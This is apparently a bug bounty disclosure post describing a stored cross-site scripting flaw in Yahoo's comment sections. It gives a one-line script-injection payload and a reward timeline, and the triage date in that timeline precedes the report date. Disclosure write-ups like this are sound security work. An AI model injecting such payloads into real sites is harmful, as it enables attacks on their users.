This is Hakim Bencella (H4kst3r) , and im from ALGERIA.
I always believed that sharing is caring, and i have been learning from multiple security researchers in the bug bounty field ,
Now, I am going to share with how I found Stored Cross-Site Scripting (XSS)
in Yahoo (all domains where you can post a comment)
Steps to Reproduce :
Go to https://www.yahoo.com/*
Comment this payload:
<script>alert();</script>”><<script>alert();</script>img src=x onerror=alert();>
ANDD YEEAAH :D
Here is the video PoC:
27/11/2017— Initial Report.
30/10/2017 — Triaged + initial reward 300$
23/02/2018 — Bug Resolved. + $1200 bounty rewarded. ( Total $1500 )